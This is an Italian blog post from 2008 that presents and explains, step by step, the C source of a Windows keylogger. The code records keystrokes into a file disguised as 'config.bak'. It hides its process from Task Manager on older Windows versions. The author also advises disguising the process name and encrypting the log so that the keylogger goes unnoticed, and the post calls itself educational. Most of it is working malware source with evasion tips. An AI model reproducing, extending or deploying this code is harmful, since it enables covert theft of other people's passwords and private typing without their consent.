venerdì 23 maggio 2008

Cos'è Un KeyLogger?

IL PROGRAMMA



Ecco ora il sorgente del programma keylogger (se volete una descrizione più dettagliata scaricate il sorgente che ho linkato all'inzio):
CODICE
#define STRICT
#define WIN32_LEAN_AND_MEAN
#define LOGFILE "config.bak"
#include
#include

Queste righe iniziali servono per includere tutte le librerie necessarie al programma, e per definire delle costanti che verranno utilizzate dal compilatore, queste costanti sono utilizzate in quanto il programma che andiamo a creare dovrà essere una applicazione windows e non una semplice finestra di console.
La #define LOGFILE indica in quale file il nostro programma andrà a salvare i tasti che riceve, in questo caso si chiama config.bak, ma potete cambiarlo in ciò che volete.

int WINAPI
WinMain(HINSTANCE hInst, HINSTANCE hPrevInst,
LPSTR lpCmdLine, int nCmdShow)

Vi ricordo che stiamo creando una applicazione windows e non una semplice applicazione di console e quindi non si usa il main, ma il WinMain

CODICE
{
int vKey[]={8,13,16,0};
int i;
FILE *fp;
HMODULE hKERNEL32
FARPROC a_Register;


Queste sono le variabili di cui avremo bisogno nel programma, vKey è un array di interi in cui metteremo i codici virtuali di alcuni tasti.

CODICE
if ( (hKERNEL32 = GetModuleHandle("KERNEL32.DLL")) != NULL)
if( ( a_Register = GetProcAddress(hKERNEL32,"RegisterServiceProcess")) != NULL)
a_Register( GetCurrentProcessId(), 1);


Queste istruzioni verranno eseguite solamente se il nostro keylogger funziona con i sistemi operativi Windows 95, Windows 98, Windows ME, infatti in questi sistemi operativi possiamo, tramite queste semplici righe di codice, nascondere il nostro programma al Task Manager (ossia quando digitiamo Ctrl+Alt+Canc). Provate per credere!!
Nei sistemi operativi Windows 2000 e Windows XP ciò non è possibile e nel Task Manager comparirà questo programma, quindi dovremo trovare un nome molto simile a quello di qualche altro processo per camuffare il nostro programma.

CODICE
while(1){
for (i=VK_SPACE;i<=VK_Z;i++){
if (GetAsyncKeyState(i)){
fp=fopen(LOGFILE,"a");
fprintf (fp,"%c",i);
fclose (fp);
}
}

Questo primo ciclo for controlla se sono stati premuti i tasti che vanno dallo SPAZIO fino alla lettera Z; i vKey di questi tasti sono tutti consecutivi e sono uguali al codice ASCII, quindi si può scrivere sul nostro LOGFILE direttamente il vKey del tasto, che corrisponde al carattere.

CODICE
for (i=0;vKey[i]!=0;i++){
if (GetAsyncKeyState(vKey[i])){
fp=fopen(LOGFILE,"a");
fprintf (fp,"%c",vKey[i]);
Sleep(100);
fclose (fp);
}
}


Ho inserito questo altro ciclo for per controllare altri tasti importanti che sono salvati nell'array vKey:
CODICE
VK_BACK 8 tasto BACKSPACE
VK_RETURN 13 tasto INVIO
VK_SHIFT 16 tasto SHIFT

Sleep(150);


Questa istruzione serve per attendere 150 millisecondi, permettendo così al tasto premuto di essere rilasciato e per "dare respiro" alla CPU.
CODICE
}
return 0;
}


Il programma è ora ultimato.
Vi ricordo che questa è soltanto una semplice implementazione del programma, fatta a scopo didattico, voi potete migliorarlo in molti modi: aggiungendo più tasti da controllare (ad esempio quelli della tastiera numerica), oppure migliorare la gestione del valore di ritorno della GetAsyncKeyState() (vi ricordate che differenziava i tasti appena premuti e quelli premuti in precedenza?), oppure potete anche criptare il LOGFILE (il file dove salvate ciò che gli utenti digitano) per rendere ancora più invisibile la presenza del keylogger; tutto sta alla vostra immaginazione.

Nessun commento: